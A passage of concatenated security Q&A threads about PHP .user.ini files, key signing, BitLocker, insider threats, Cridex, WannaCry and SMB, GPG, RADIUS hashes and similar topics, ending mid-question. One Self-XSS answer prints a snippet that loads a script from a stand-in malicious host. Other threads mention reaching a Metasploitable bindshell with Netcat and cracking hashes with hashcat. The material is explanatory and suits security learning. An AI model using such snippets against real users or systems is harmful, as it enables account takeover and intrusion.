  Since PHP 5.3.0, PHP includes support for configuration INI files on a
  per-directory basis. These files are processed only by the CGI/FastCGI
  SAPI. This functionality obsoletes the PECL htscanner extension. If
  you are running PHP as Apache module, use .htaccess files for the same
  effect.

It doesn't seem quite recommendable per se to allow such files that enables changing PHP settings with same privileges that are used by a web application, although the possible php.ini directives are limited:

  Only INI settings with the modes PHP_INI_PERDIR and PHP_INI_USER will
  be recognized in .user.ini-style INI files.

As the file is inside the document root, it's recommended to limit the access to it from the web i.e. you shouldn't be able to access it using http://example.com/.user.ini type URLs. You should check that. The required Apache configuration would be:

<Files ".user.ini">
    Require all denied
</Files>

The file permissions doesn't affect this that much, as it would be probably accessed using the user's own account. However, with 644 everyone having local access to the server can read this configuration file.

If this is a cPanel hosting, there's interesting details about their implementation on cPanel forum: custom .user.ini files with FastCGI:

  If you want the file to be unreadable, make it 0400 (or 0600). Here is
  a quote from one of our developers that better explains this:

    This behavior is by design. Since the file is readable by all users,
    it is readable by the user in question. When saving files, to avoid
    problems when the user is over quota, we write to a temporary file,
    and if that was successful, rename(2) the file into place. Since the
    user has write permission in this directory, the rename is successful
    and the old file, along with its permissions, is destroyed.


Why in this paper private (public) keys are used to encrypt (decrypt) messages? I'm reading this paper, at page 5 you can find:

  We apply a public key cryptographic algorithm in this work, similar to
  the one used by Digital Signature. To simplify the description, we use
  PBA to represent this public key algorithm. Its encryption and
  decryption can be described with the following formats: PBA.encrypt
  ( m , k ) for encrypting a message m with the public key k, and PBA.
  decrypt ( m , k ) for decrypting a message m with the private key k.

This seems a classic public key approach. However, all over the paper, the encrypt method is called using private key, while decrypt by using public key. Isn't it the opposite?

Example:

  The proxy credential is sent directly, while the random message
  CA_Rand and the user session are encrypted with the private key MN_Prv
  that was generated in Phase II: MN_Rand = PBA . encrypt ( CA_Rand ,
  MN_Prv ) MN_U _Session = PBA . encrypt ( U _Session , MN_Prv )

Is that an error (very frequent error!) or am I missing something?

As commenters have said, technically you can use either the public or private key for either capacity; the distinction helps prevent you from accidentally distributing both publicly at some point, which would be a catastrophic failure.

PGP provides good examples of reasons to do it both ways. If I want to send you a sensitive message, I will encrypt it with your public key, which means that you will decrypt it with your private key. However, if I want to prove that an email comes from me, I can "sign" the message, which involves encrypting some data with my private key; anyone who has my public key can decrypt it, which allows them to verify that the person sending the message had access to my private key (and presumably then is me).


Is it possible to load external JS script through the "inspect elements" feature? Open Inspect Element
Right click on the body tag, or where ever, then Edit as HTML like this:

<button onclick="loadScript();">;Click to load external script.</button>
<script>
function loadScript() {
    var script = document.createElement('script');

    script.setAttribute('type', 'text/javascript');
    script.setAttribute('src', 'http://malicious-website/malicious-script.js');
    document.head.appendChild(script);
}
</script>

So, is this kind of attack possible?

I would categorize it as "social engineering"; someone tells thirds to do it with their devtools. And yes, it is a possible attack vector.

Oftentimes it is warned about when you open the F12-tools on say facebook e.g.

 from (german) facebook.

They call it Self XSS


How to verify hardware is legitimate We are working on a sensor that is going to be collecting data, passing it to a smart phone which then stores the data in a database. I need to be able to verify that the hardware is legitimate, so that the data that gets stored in the database is legitimate too.

My current thought is to have a secret key stored on the hardware, which gets encrypted and sent when the hardware first connects. If authentication fails, the following data is rejected.

Is there a standard for authenticating hardware, to prevent malicious hardware impersonating a real device?

This sounds like a job for public key crypto. Sign messages from the devices worth an embedded private key. Then verify in the mobile app and on the server they report to.

I would propose:

Embed a unique private key in each hardware sensor.
Provide a certificate from a private certificate authority (that you create) with the device.
Put the CA's public key in the phone app.
Use the private key in the sensor to sign every data event, and include  the identity of the sensor and the date/time, and a unique identifier in every event (to prevent replay attacks). Also include the certificate with the event.
Using the signature and certificate, the phone app can verify the event comes from a legitimate sensor, without having any way to tamper with the event.
The app passes the entire event+signature+certificate to your central server, which can use the unique ID, and date/time to verify that the event hasn't been duplicated.

You also need to consider your attacker: Are they only going to look at the phone app, or will they try to subvert your sensor. Can they alter the readings before they get signed (e.g. hair-dryer on a thermometer :-) )


Hashcat with Kali 2 in a VM How can I run hashcat using only the cpu in a virtual machine?

When I try to run hashcat in my Kali 2 VM I receive the following error:

root@kali: hashcat -m 400 -a 0 hash.txt rockyou.txt
hashcat (v3.10) starting...

OpenCL Platform #1: Mesa, skipped! No OpenCL compatible devices found

ERROR: No devices found/left

I realize the newer version of hashcat wants to access a video card. This is a Virtual Machine and I'd prefer to use the CPU for these labs.

Version info for Kali:

root@kali:~/Desktop/data/target# uname -a
Linux kali 4.6.0-kali1-686 #1 SMP Debian 4.6.4-1kali1 (2016-07-21) i686 GNU/Linux

root@kali:~/Desktop/data/target# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description:    Kali GNU/Linux Rolling
Release:    kali-rolling
Codename:   kali-rolling

You must install some stuff. The same happened to me. But you can work with new hashcat 3.x and CPU in your vm, no problem on that:

apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev

And

apt-get install pocl-opencl-icd

This worked for me. I found it here. What I suggested It's a little different because you can install pocl with apt-get instead of downloading from git like that link suggests... Is the solution worked on my Kali vm.


Will Bitlocker drive encryption restart if my laptop runs out of power? I am currently in the process of encrypting my C: drive, but will need to travel in the next couple of hours. I have set the laptop to stay awake, even with a closed screen to keep the encryption running as long as possible, but I am worried that when it runs out of power the drive will only be part encrypted. Does anyone know if the process will continue where it left off, or if I'll need to start the process again?

Any help greatly appreciated.

If no one answers, I'll update any readers on what happens once I know.

Bitlocker encryption can be interrupted when the power is off, it will resume from where it left off; the next time you boot up the machine.


Protecting digital assets from insider threats Are there any security mechanisms that can protect a company from malicious employees (think database administrators, sysadmins responsible for authentication etc) trying to steal the customer data?

To give an example: Suppose a company allows customers to upload valuable data to their site. Customers can then log in to the company's website and download/delete previously uploaded data. Are there any mechanisms that the company can use to prevent an employee from copying/deleting/stealing the customers data?

(I originally started thinking of this issue when I transferred my Bitcoins to an online exchange site. I don't intend for this question to be about bitcoin, because the bitcoin protocol is obviously not geared towards these type of threats, but it may be useful as a background context/example scenario. How could a bitcoin exchange company prevent employees from running away with customer assets?)

Are there any security mechanisms that can protect a company from malicious employees (think database administrators, sysadmins responsible for authentication etc) trying to steal the customer data?

Database admins, pretty much by definition, have administrative access to a database. So, technically, no, preventing that would only work if the data within the database was encrypted – and even that would still leave a lot of information that could still be pieced together (like: Oh, I see an entry for an order from anonymous customer nr. 14 ever monday at 1pm, and I know we have a phone call with customer "jack labs" every monday at 11am, soooo...).

The only thing preventing this kind of thing would be policy and monitoring. There would need to be a database access log that the database admin couldn't disable, and that would raise an alarm whenever a non-standard usage of the database happened – but in effect, that would mean you'd need a second database admin to just understand and monitor what the first one is doing.

What you have is the evil maid scenario. Bad luck.

your example is an especially easy one, however. Simply let the user's browser encrypt the file with the user's own key prior to uploading. Not much to be gained by stealing, then. Unless, of course, and that's kind of probable, the user uses actually helpful file names like "contract with jack labs.doc" or "employment offer for Troy McLure.pdf".

That's why you don't store confidential data "in the cloud" if you can't trust the cloud provider's employees (and also, the employees and governments of those running the servers of that cloud provider).

the bitcoin concept is exactly geared towards this. All transactions are logged, otherwise they didn't happen, and any wallet is cryptographically secured with a passphrase.


Trojan/Worm Cridex Issue Currently we are receiving a surge in machines that are being attacked with Cridex.

We received several spam/infected emails that have used macros to we think deploy a backdoor trojan that is allowing Cridex to be pulled down.

This is the popup we get from SEP:
http://imgur.com/i8wzAr1

Also after installing malwarebytes on a few systems we would get a warning that C:\Windows\explorer.exe was trying to access malicious sites.

What is interesting is that we can remove all known instances of the virus, restart the machine run a full scan, and then still find the same or sometimes different objects.

One of the other major hurdles is that the virus is on multiple sites, however we are finding little consistency with how it operates and what trojans/ viruses are installed on the system.

 Installed malwarebytes on a users machine whilst it was running the scan it continually prompted about C:\Windows\explorer.exe stating that it was trying to access a malicious website.

SEP has also started to recognise the edg(random No.).exe as part of the issue, possibly the carrier.

Currently our thinking is that the edg file is a trojan that is allowing cridex etc entry onto the system. However it appears SEP is blocking Cridex from fully activating, so the question is why isn't SEP finding and stopping this.

SEP says that you should be able to find files in the registry etc:

http://www.symantec.com/security_response/writeup.jsp?docid=2012-012103-0840-99&tabid=2

However personally been unable to find them thus far, but new machines have been infected here so will have a look.

The issue we have is that SEP didn't block the spam emails from executing their macros for a full day.

Sometimes a combination of SEP and Malwarebytes seems to remove all of the infected files etc. However this isn't always the case.

We have notices that Symantec have recently updated their signature for Cridex so does anyone have ideas or knowledge on how to tackle this effectively.

Any help is greatly appreciated.

UPDATE:
We have found Norton Power Removal tool, seems to do the trick, you have to run the rootkit session but this seems to get it

The only realistic solution is to reimage any system that is known to be infected. You will want to take care to ensure the new image has every Windows patch on it. You will also need to examine your file sharing configuration on these systems as it looks like this worm will attempt to spread to those as well.


What are some vulnerabilities of environment variables (on any platform)? I am writing a small cross platform Python application (a package manager to be used internally by my corp), and I'm thinking of using something similar to this answer on Stack Overflow to check for administrator/root privileges. I noticed the author mentions vulnerabilities with environment variables.

It isn't surprising to me that environment variables are vulnerable to overflows, etc., and that they would probably represent significant attack surface. Could I have some specific examples of attacks against them, especially what my application may be exposed to if it relies on them?  Both WinNT and Linux examples are welcome.

(Also -- for various reasons we cannot use existing package management solutions such as Nuget/APT.  We maintain our own distribution of internal software and writing a small specialized solution is easier, especially targeting multiple platforms)

There are the usual risks associated with explicitly or implicitly trusting something which comes from outside and thus can be controlled by the attacker. And there is a risk of assuming that environment variables provide a restricted visibility which they don't do always. Some examples:

Implicitly trusting environment variables like PATH, LD_LIBRARY_PATH, PERL5LIB or similar can lead to unwanted execution of code because these variables decide where to look for programs and libraries. Similar variables like IFS decide how to interpret information given to the program. And sometimes the problem can be just any variable with a malicious content, like with the Shellshock vulnerability. That's why programs which use elevated privileges (like sudo) should remove or sanitize all environment variables when run by a non-privileged user. And programs which set environment variables (like webserver with CGI interface) should be very careful which possible attacker controlled information they put into these variables.
You should not use environment variables to pass sensitive information (like passwords) from a parent to the child processes. Depending on the OS other users on the system might see the content of the environment variables and thus grab these sensitive information.

Thus the rules when using environment variables are:

Never trust the content of these variables, neither explicit nor implicit. That means remove or sanitize the variables especially when the variables might be set by users with a different privilege then the program is running.
Never put sensitive information in environment variables because other users might read these.
If you set these variables with data which you did not fully generate yourself (i.e. possible attacker controlled) be very careful and sanitize everything to disarm it.


How to check if Windows computer has SMB accessible over the internet? The currently spreading ransomware WannaCry exploits SMB vulnerabilities to infect new computer.

Is this exploitation possible over the internet?

How to check if my computer has SMB accessible over the internet or not?

If your port 445/tcp is exposed to the outside then your SMB is accessible over internet. This usually requires port forwarding and your public/private IP must be reachable from the outside.

(Wannacry) as you might now is using "an exploit" and is not accessing SMB the regular way..

And for the sake of sharing,  I guess you asked this question following what happened last Friday, Cisco released a snort rule for ETERNALBLUE (the SMB exploit) as SID 41978


Is it possible to export a GPG subkey's public component? I'm trying to export the public component of my subkey, but all GPG will give me is the public component of my master key. The keyring is set up like this.

$ gpg -K
/home/alex/.gnupg/secring.gpg
-------------------------------------------------------
sec#  4096R/4ACA8B96 2014-06-21 [expires: 2015-06-21]
uid                  Alex Jordan <alex@strugee.net>
ssb   4096R/633DBBC0 2014-06-21
ssb   4096R/93A31C56 2014-06-21
$ gpg --armor --export 93A31C56
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.22 (MingW32)
...
-----END PGP PUBLIC KEY BLOCK-----

The key that is output to the console is the public component of 4ACA8B96, not the requested key. Is there a technical limitation that's preventing this from working, or is it just GPG being stubborn?

RFC 4880, OpenPGP, 11.1. Transferable Public Keys defines subkey packets are always preceded by a public (primary) key, thus GnuPG does not allow to export it separately.

To do so anyway, export the key (it is recommended to use --export-options export-minimal to reduce the number of packets you have to deal with), and use gpgsplit on it, which will decompose the OpenPGP file into the individual packets. Those ending in public_subkey are the ones you're looking for. To find out which one is the right, have a look into them using pgpdump [file] (gpg --list-packets fails for single packets, as the input is no valid OpenPGP file). pgpdump should be available for most distributions in a package of the same name.


Can a malware steals my Facebook c_user, xs, and datr Cookies? Just as the title suggests. I have a PasswordStealer on my PC and I'm afraid that it can do that. AFAIK, that malware can record keystrokes and steal saved passwords which I don't mind because I don't store passwords anywhere and I don't type either. But I left all my social media and mail account logged in by cookies.
To make sure, I have tried copying Chrome's Cookies. File to another device and it didn't work. But I just realized that you can view and edit cookies on your active sessions to get datr, xs, and other important cookies. Now, can the malware also do that or it will just be encrypted?

For chrome, cookies are stored in an SQLite database file and are protected the same way stored passwords are (on Windows, essentially they can only be decrypted on the same device, see my other answer for more details on how this works). This means that any malware that can steal stored chrome passwords can also decrypt and steal the cookies if it wants to.


If I sign someone else's key and later decide it was a bad idea, is it possible to un-sign it? Let's say that I sign someone's key and then later decide that was a bad idea - either it was a bad idea at all, or I should have signed it with a different level of trust. Is it possible, both in a theoretical and also in a practical way, to "un-sign" someone else's key?

Removing a Local-Only Signature

If the signature is still only kept locally (either by never sending it to anybody or the key servers, or by even having performed an lsign which creates signatures that cannot be uploaded), you can actually delete it by running

gpg --edit-key [keyid]
[select a uid]
delsig
[go through the assistant for deleting signatures]
save

Revoking Published Signatures

If a signature was already sent to the key servers, you still can delete it locally, but you will not be able to remove anything from the key servers. The OpenPGP key server infrastructure is designed not to delete/forget anything, to be resistant against deletion attacks (where the attacker wants to remove eg. your key).

Instead of deleting the signature, now revoke it. This time, run

gpg --edit-key [keyid]
revsig
[go through the assistant for revoking signatures]
save

Now you should upload the revocation certificate (which more or less states "This certificate invalidates the signature I made starting from a given date for the reason given") to the key servers by running gpg --send-key [key-id].

As soon as the revocation sync'd throughout the key servers (some minutes) and other users will update key [keyid] (unknown time, possibly rather long), the revoked signature will not be taken into account any more when calculating validity and be displayed as revoked when listing the signatures.


How secure is to store encryption keys or SSH Keys on LPAR? I want to store SSH keys (used to connect to some devices that have sensitive data) and the encryption/decryption keys of a database application. They will be inside a LPAR (logical partition) in our mainframe.

I'm worried about security: does the fact that LPAR resides in the same machine (same hardware) as other virtual serves implies that there is some security risk ? Could an app running on a different virtual server get access to my server and read my keys ?

For such small question, a small answer: even wikipedia is your friend:

  IBM mainframe LPARs are Common Criteria EAL5 certifiable, equivalent
  to physically unconnected servers, so they support the highest
  security requirements, including military use.

And it also points to some docs from ibm: this link, for example can give you a lot of information.


Why have export controls for cryptography? I've always heard someone justify the means for export restrictions with "it's for governmental control/spying".  In most reasonable countries, the justice system asks people to adhere to the "spirit of the law".

  What is "spirit of the law" regarding cryptography I should be aware of?

  Are there any themes that are common, outside a countries borders?

Possible answers may be

the protection of Intellectual Property
the desire to protect corporate assets in a given country (as these businesses pay taxes)
to protect the online identity of their citizens (in the case of certificates issued to individuals).

For those people doing business in unreasonable countries, I'll bet they have more worries than just the cryptographic security of your data.... so I don't think there is any "spirit of the law" to be concerned about.

Export regulations are the offspring of international treaties, in particular the Wassenaar Arrangement. The idea is that once countries decide that strong cryptography must be regulated within their borders, these countries make deals with other countries so that those other countries do not recklessly export strong cryptographic products, neither to them, nor to third parties who are deemed "not trustworthy enough" to receive them (e.g. the arrangement restricts export from USA to France and also from USA to North Korea, but not for the same reasons !).

Cryptography is here treated as if it was a kind of assault rifle. Indeed, until about a dozen years ago, cryptography was officially classified by the USA as ammunition. This implies the same kind of controls than those for importing or exporting weapons.

We can thank (or curse) the Web, and especially the whole let's-buy-things-on-the-Web business, for the normalization of cryptography: most crypto-related regulations which have been passed in the last decade have been designed so that it became legal to provide, export and import Web browsers with SSL support, for non-joke key lengths. Legislative bodies around the world are slowly coming to the realization that cryptography is not necessarily a bad guy tool; individuals and corporations may be entitled to use them for their own protection, too, especially in areas where more classical law enforcement agencies do not have the technical means to ensure the safety of everybody. SSL is legal because there is no practical way to proactively prevent eavesdropping.


Do thin clients need Antivirus protection I recently took over managing the IT needs for a small healthcare agency with locations in 3 different cities.  They have a widespread use of thin clients, as the clinical application most often used is housed by the State.   The thin clients in use are Win XP.   I know that thin clients have no hard drive,  but are they vulnerable to virus/ malware through Internet or USB drive?  CD / DVD?  I know that these devices have not been patched manually, so no patching since April 2014.

Most of the above comments don't answer your question which was

  I know that thin clients have no hard drive, but are they vulnerable
  to virus/ malware through Internet or USB drive?

And the answer is yes, they are. There are many infections which don't need a user controlled hard drive. A vulnerable windows service is enough (because the infection happens in RAM memory, in the process space basically). Or that a user browses a vulnerable internet site. So the answer is: yes, they are vulnerable even without hard drive. The next 2 questions are:

How probable is such an infection
What is the impact?

1 depends on what the users do with those WinXP boxes. If they are using office/email/internet like normal PC users in an average office then I would say the probability is the same. And the security awareness of those users largely impacts the probability, as usual. Social engineering and stuff, you know.

2 Usually, the impact of such a compromise is

Ransomware, Encryption of the hard drive
Information leakage
installation of a root kit
denial of service
etc etc

I would say 1 is impossible if no hard drive is present, are there any network drives connected? 3 sounds difficult to me without hard drive, 4 is always possible (if the attacker gains admin level he can just shutdown the box) and 2 is probably possible and you have to assess the severity (basically: how sensitive is the data processed on these boxes).

Disclaimer: This is what I think is the situation for an average hacker who only sees "hey, an XP box!" and goes ahead and attacks it. Someone who knows more about your environment can, of course, better exploit the big attack vector called WinXP. So you should also try to find an answer to the question whether you are a high value target for someone or what could be a motivation to attack you and for whom.


Altering a $_SESSION variable in PHP via XSS? Not sure if what I'm saying makes sense... but is it possible for me to alter a $_SESSION variable from outside the target PHP script?

One of our scripts uses a $_SESSION variable and I'm not sure if that is vulnerable to manipulation from outside as a $_POST variable is...

The answer to this depends on whether or not your application uses GET or POST data to populate SESSION data.

Say for example that the $_SESSION['username'] is populated when the user logins like this:

$_SESSION['username'] = $_GET['login-username']

As the XSS owns your client he can also modify the content of login-username variable, and thus control the session variables.

However it is important to know that the $_SESSION global variable array can only be modified server side.


Can a PKCS12 file be distributed over insecure channel? Is the PKCS12 only as secure as the password protecting private keys ? Can I distribute the p12 file over an insecure channel ?

I wouldn't do that, since if someone manages to sniff your file it is then subject to brute forcing the password - which is a matter of time.

Let me correct myself and ask a more accurate question: what does your p12 file contain?
If it contains your private key, I would not distribute it over an insecure channel and I would even question the need to distribute it... your private key usually stays in one secure place and should not be distributed.
If the p12 only contains public keys (certificates) it is fine to distribute it, even on none secure channels, since it is public in its nature.


Car Remote App Security Car manufactures like BMW, Audi or Mercedes-Benz all provide mobile applications to control your car. All apps share really critical functions like remote lock/unlock or the ability to find your car based on current GPS location.

Can somebody provide any additional information how this kind of communication is secured?

On the BWM app you just have to enter your login information of the BMW connectedDrive Portal and you're set up and have full control over your car. I really doubt the security of real world cars protected with user chosen passwords.

My best guess is that some public key infrastructure is used but I can't find any information.

For Tesla, the car and the app communicate with the Tesla servers over HTTPS. The app logs in here https://portal.vn.teslamotors.com/ and there is some third party API that can interact with the car on Google's Appspot (teslaglass.appspot.com) for Google Glass integration.

Some weaknesses in the authentication and APIs have been discovered and published. Localization and remote unlocking was possible.


What indicators did OWASP use to end up with OWASP Top 10? I was asked by a student how OWASP Top 10 are ranked, based on which indicators: is it severity? ease of exploit? ease of implementing their countermeasures? ...
Knowing that each of these vulnerabilities is either severe or not based on the mise usecase possible.

Furthermore, I would be interested in more Top 10 different than the ones of OWASP and different than Web vulnerabilities.

Please I would appreciate answers based on references.

As per the OWASP top ten page:

The OWASP Top Ten represents a broad consensus about what the most critical web application security flaws are. Project members include a variety of security experts from around the world who have shared their expertise to produce this list.

The updated version takes into account comment from industry and OWASP members in order to be as relevant as possible.

If you do want stats in order to help you assess a top ten relevant to you,  I presented to ISACA Scotland in October 2010 on the top seven issues small businesses could tackle.

As background to my talk, I used data from these three reports:

Verizon Data Breach Report
Krebs Java Security Report
WHID Security Report

I hope that will be of some use to you.


Server Certification Processes We are considering a certification process for new internal server builds before they are allowed to be placed into production.  That is, the system administration team will send the server up to the security team to be certified.  Once the security team approves the server as certified, it will be sent back to the system administrators to be placed into production.

What common criteria should the server be evaluated against before it is "certified" and ready for use?  Additionally and secondarily to the main question, how often should the server be re-certified once it is allowed to be placed into production?

A lot of this will depend on your environment, but this is a generalised list I've used before (I've included compliance stuff under each point):

All software patched and linked into a patch manager

Your patch manager should patch often and alert loudly if a machine falls out of compliance.

All unnecessary ports closed

Set up nagios or similar to run a port scan regularly - alert if anything new opens.

All unnecessary user accounts purged

Again, you should watch this with your monitoring and enforce it with GPO or similar.

All unnecessary software removed

Get rid of all the debug stuff, you should ideally be logging every installation so you can check it off as 'uninstalled' in your first pass.

Server linked into log server

You want it to alert you if anyone logs on interactively, if it gets rebooted, if anything happens really. What you care about will be environmentally specific.

All alarms and alerts on log server configured

This relates to 5 - but check that all your alerts and alarms are appropriate - turn off any you will ignore so you don't end up habitually ignoring errors.

End protection configured and hooked up, incl. application-level firewall and AV

You should centrally manage this, and as with the patch manager, alert if non-compliant. Turn on an application-level firewall and only allow stuff you want to connect in/out. Block everything else.

All necessary software whitelisted

Now that it's in production - scan the system for all software you want to run, whitelist it and block everything else. This will be environmentally specific, and you need to work it in with your patching.

Time synchronised

This is critical; a lot of the above all relies on timing working - AV, logging, etc.

Network configured, all non-prod interfaces removed

Physically unplug, uninstall, disable, whatever is appropriate - make sure there is no link back to your test or dev environments.

The servers should be tested continually - you want to continually and automatically check with your monitoring and automation. The stuff you can't check automatically, look at as often as is practical.

The idea is that a recertification should just be to glance at a report, tick off that everything is green, log on, check the last few things and you're done in less than 10 minutes.


What is bindshell backdoor? I just found out a bindshell backdoor, but I don't know how to access/connect to it using Metasploit.

I'm a beginner with exploiting; is there a way to access the backdoor? I tried to search for "bindshell" on Metasploit but I didn't find anything. I also searched "shell" and it displayed a bunch of reverse shell exploits. I don't know which one to use or if I used the right exploit.

That's simply a Bash shell that is bind to port 1524/tcp. It will run everything sent to that port on  Bash and reply with the output. You don't need tools like Metasploit for that; a simple Netcat or Telnet will do.

Isn't it just amazing how a simple Google search can reveal the target of your homework is Metasploitable 2 (spoiler alert)!

  Bindshell Exploitation

  Metasploitable 2 comes with an open bindshell service running on port
  1524. We will be using Netcat to connect to it.


Degree of safety of an unencrypted hard-drive and the general theory behind it I always thought that everything on computer hard-disk is encrypted which can only be read(and understood) after passing my username and password to decrypt it. However, this is clearly not the case. Computers use access control to restrict access, but there must be encryption to prevent people from hacking into root privilege.
I read about data security on an unencrypted hard drive and got conflicting information.

Aikore Edmund states that:
When HDD is tranfered from computer to computer accessing Administrators (Users) Directory is very difficult, if the information must be accessed the new computer (i.e accessing HDD) has to claim ownership as a security measure for accessing data.
Leo states that:
They can remove the hard disk from your machine, connect it to another, and once again access the contents of your hard disk without needing to log in to your copy of Windows at all.

Aikore seems to say that although data is not encrypted, the user still has to satisfy security measure for accessing data. On the other hand, Leo seems to say that there is no security measure at all. It seems that Aikore is talking about Access control which can be overridden when exposed to physical threats described by Leo

Thanks to @DBLuois I found @Polynomial response to a similar question
Access controls can be anything from a padlock on a gate to a permission set on a filesystem.

I fail to understand Polynomial's metaphor. If Acces control is like the lock to data then what are the walls made of? Is it something physical such as the hard drive, and the lock is the encrypted program to operate harddrive pointer or is it something else?
Let me rephrase my questions more clearly:

how does an Operational System protect my information if they are not encrypted?

How does Operational Systems enforce such securities?

This might sound like a basic and uneducated question but I feel like not many people know how safe their data really are when they should be. Thanks.

Aikore and Leo are both right, but they are referring to two different situations, both starting with "getting a HDD and putting it into another computer".

To keep thing simple, you have a hard drive with exactly one document. That one document has a contents, and sits inside a file system that details both its position on disk and its access control rules - it says, "This document is Alice's".

"Putting the hard disk on a different computer" tells me nothing about what this other computer does.

If it is a Windows computer, it could try and treat this new disk as its own; so it will read everything from the disk, including the tidbit that the document is "Alice's". But who is Alice on the new computer? Chances are there's no such user. So, the new Windows might refuse to let Bob read the document.

Now Eve mounts the disk on a Linux computer and instructs it to ignore those pesky ACLs. The ntfs-3g driver on the computer reads almost everything from the disk - it reads where the document is, what is its name, where its starts and where it ends, and presents it to Eve. Who can now read and even edit the document. ACLs did not protect the document now, because they are enforced at the OS's whim, and this OS chose not to enforce them. It is also possible to get Windows to ignore them, albeit it's very slightly more complicated.

How does Alice protect her document? She needs to encrypt it. Now the contents is still accessible to Eve (and Bob), but without the key they can't make heads or tails of it.

As you observed, this encryption might be transparent: if the key is linked to the user's identity, everything is decrypted on the fly and reencrypted on storage, and the users might not even be aware that their data is encrypted.


jQuery $.get HTML code and XSS JS code

var id = $(this).data("id");
$.get("/api.php",{id:encodeURIComponent(id)}).done(function(data){
    $('
'+data+'
').appendTo('.parent');
});

api.php:

echo json_encode('
Hi username!

text
',JSON_HEX_TAG | JSON_HEX_APOS | JSON_HEX_QUOT | JSON_HEX_AMP);

Returned HTML content is not from a user. It is already written in api.php

Is this query XSS vulnerable? I heard html() is evil. What about appendTo()?

If not user controlled, then it's not vulnerable to XSS.

Someone somewhere must be able to inject script into data to make it vulnerable.

appendTo isn't a sink in itself, however if it's appending free text to the DOM in this case then it could make the page vulnerable if data contains user input (read user input to be anything outside the security domain of the app itself).


Intercept data sent via bluetooth I am trying to re-write a closed-source application, originally deployed on mobile devices, that lets you command and control a certain type of mechanical robots via bluetooth.

The new application I am writing should be able to control the same robots as the first one does.

How can I intercept the commands -sent via bluetooth- from the closed source application ?
And more importantly, will I be able to "reproduce" them ?

An outline of the steps I have to take is enough to answer my question. A detailed answer would be appreciated.

The Ubertooth one will allow you to sniff bluetooth traffic.  It is fully capable of being placed into monitor mode and can be used with tools such as Kismet to perform bluetooth sniffing.  There may be additional functionality that will allow you to perform packet injection as well.  However if the traffic is encrypted this may not allow you to see the packets in the clear but it may give you a good start at reverse engineering the communication protocols.


Is it safe to set up your firewall to allow localhost to accept incoming connections? I have set up a VPN client and I'm using iptables to block all connections not tunneled through the VPN. An example of the iptables rules I am using can be found here.
Unfortunately with this configuration RStudio does not start up.
In fact the RStudio guide says:

Check firewall, proxy settings, and antimalware
Although RStudio does not require internet access, it does use a
localhost connection to link your R session with the RStudio IDE. As a
result, it is possible a (software-based) firewall, network setting,
or antimalware program is blocking access to RStudio. If you have a
firewall, HTTP or HTTPS proxy configured, add localhost and 127.0.0.1
to the list of approved Hosts and Domains. After this, try restarting
RStudio. If you have antimalware software configured that may be
blocking RStudio, please check its settings and whitelist RStudio if
necessary.

I had already allowed outgoing connections on the loopback interface:
-A OUTPUT -o lo -j ACCEPT

By experimentation I have discovered that adding this line to the rules would make RStudio work again:
# Accept localhost
-A INPUT -d 127.0.0.1/24 -j ACCEPT

From a security perspective, is such a rule safe?
Can such a rule be exploited by malware/spyware?
Will such a rule leak my private IP address despite the VPN connection?
EDIT: Is the rule:
-A INPUT -s 127.0.0.1/24 -d 127.0.0.1/24 -j ACCEPT

safer? Also this rule would make RStudio work
EDIT2: Should the mask be /8 and not /24?

The localhost in general is used to verify that the TCP/IP stack is correctly working on the host for example. Some programs use localhost for communicate process on the same host. Is very common to do what your RStudio is telling. Bear in mind that you can not ping externally to localhost from other host, localhost is only accessible on your host, so I don't see any problem of having that iptables rules, wait other answers :)
Hope it helps


How can Freeradius detect if the password provided is right when only the salted hash is stored in the database without the salt I am discovering both Freeradius and the password hashing mechanism. I built a database (in MySQL) to store the passwords of some users. I have a user with the password in clear text, another one hashed in SHA256 without salt and the last one hashed in SHA256 and salted.
I used this script to create the salted hash : https://gist.github.com/bestrocker221/f506eee8ccadc60cab71d5f633b7cc07
When I am testing the connexion to the radius server (with the command radtest and with another computer running ubuntu), all of the accounts can be accessed.
Here is the database content : (Each user have the same password, "passroot")
mysql> select * from radcheck;
| id | username | attribute         | op | value
|  1 |   user1  |Cleartext-Password | := | passroot
|  2 |   user2  |SHA2-Password      | := | ef653cafdcaf5b3733c7c5aa24b781c5c952618642efd2abc04b9c6efccac8258bc84a881850d9ffa8e6c91953c8ca7613f49dea007ae6437ccf26b8f10fadfb
|  4 |   toto   |SSHA2-256-Password | := | /F8Bymi/qgL4rQHP9C+8jDciSLmr/PZEc5JJNoCwRelzZWxkZW1lcg==

The authentication with the account using the salt method is working :
root@Principale:"/share# radtest toto passroot 192.168.150.1 1812 passroot
Sent Access-Request Id 117 from 0.0.0.0:39617 to 192.168.150.1:1812 length 74
User-Name = "toto"
User-Password = "passroot"
NAS-IP-Address = 127.0.1.1
NAS-Port = 1812
Message-Authenticator = 0x00
Cleartext-Password = "passroot"
Received Access-Accept Id 117 from 192.168.150.1:1812 to 192.168.150.1:39617   length 20

root@Principale:"/share# tail /var/log/freeradius/radius.log
Tue May 4 16:32:07 2021 : Info: Need 7 more connections to reach 10 spares
Tue May 4 16:32:07 2021 : Info: rlm_sql (sql): Opening additional connection (42), 1 of 29 pending _slots used
Tue May 4 16:32:07 2021 : Auth: (164) Login OK: [toto/passroot] (from client test port 1812)
root@Principale:"/share#

I don't understand how freeradius can match the password provided by the user to the salted hash stored in the database when he doesn't know the salt I used.

The hash and salt are both in the value column. After Base64 decoding, the first 32 bytes are the hash, and the rest is the salt (in your case, it's the ASCII string seldemer).


Is there a way to use public mail and not to enable the provider to see its content? I'm looking for a way to use the common public emails such as Google and Yahoo and to prevent them from reading the content of the emails either by application that scans the emails and offer ads or manually to go the email and read it. Is there a way to do it only in the sender or receiver side. It means that I won't need the people that receive or send emails from me/ to me to install software in their side?

The only way you would be able to prevent your email provider from reading your email content is to encode it, that is to change it from its original. You could use an encryption software, however that would require software running on both sides. There is free software out there to do this, but it requires that the sending and receiving sides use a common protocol.

You could change the content of the email my using some sort of code, like a markup language or word substitution which is know by both sides. This would hide the intention of the message but still be readable by the email provider. Any ads you get would be based on the text in the message. This would be a lot of trouble to implement, and again require both sides to be involved.

I suppose you could write a self-contained program which would run without requiring software to be installed on the recipient's computer. It could contain an encrypted message and have decryption software built-in. That would prevent the content from being automatically scanned.

Free email services make money by offering ads, if you want add-free email then use a paid service which promises not to read your email.


OpenVPN Client Id appearing in emails I use OpenVPN to connect to a server. I just found that in a series of emails I sent and received to and from the same person the following line appeared after every message I sent:

